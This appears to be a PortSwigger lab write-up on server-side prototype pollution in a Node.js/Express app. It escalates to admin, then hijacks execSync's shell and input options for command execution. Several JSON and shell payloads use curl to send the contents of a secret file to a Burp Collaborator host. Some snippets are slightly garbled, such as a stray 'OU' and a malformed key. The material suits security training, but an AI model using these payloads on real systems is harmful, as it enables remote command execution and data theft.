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# Exfiltration of Sensitive Data via Server Side Prototype Pollution
Exfiltration of Sensitive Data via Server Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remedia
### Exfiltrating Sensitive Data via Server-side Prototype Pollution
**Description of lab**
This lab is based on **Node.js** and the framework **Express**. The application is vulnerable to a **server-side prototype pollution** because it unsecuredly merges user-controlled data into server-side JavaScript objects.
Because of this configuration it is possible to pollute `Object.prototype` in order to inject and execute **arbitrary system commands**.
Lab objectives:
* Identify a prototype pollution point to add arbitrary properties to `Object.prototype`.
* Find a usable gadget to inject and execute system commands.
* Start executing a command that discloses the contents of Carlos' personal directory (`/home/carlos`) to a public **Burp Collaborator** server.
* Exfil the contents of a secret file in this directory and submit the value obtained.
Administrator access is already available. Connection possible with:
* **Credentials**: `wiener:peter`
**Vulnerable entry point**
The functionality of **address modification** is vulnerable to prototype pollution.
Request sent:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"constructor": {
"prototype": {
"test": "false",
"json spaces": 1
}
}
}
```
**Confirmation of pollution**
The server response confirms `Object.prototype` pollution and privilege escalation:
```json
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"test": "false",
"json spaces": 1
}
```
**Administrative operationality**
In the administration panel, a **Run maintenance** option is available. She sends the following request:
{% code overflow="wrap" %}
```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```
{% endcode %}
This feature uses `child_process.execSync()` server side. This function includes `shell` and `input` parameters, which is a gadget that can be exploited via prototype pollution.
**Injection of commands via `execSync`**
In `__proto__` pollutant, it is possible to control the options passed to `execSync`:
```bash
__proto__": {
"shell":"vim",
"input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
When performing the maintenance job, it fails on the application side, but a query is sent to **Burp Collaborator**, confirming command execution.
**Exfiltration of secret file**
To exfil the contents of Carlos' secret file, the following payload is used:
```json
"__proto__": {OU
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
OU:
```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```
Full request:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"__proto__": {
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```
**Result**
The Burp Collaborator server receives a request containing the value of the secret file:
```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```
---
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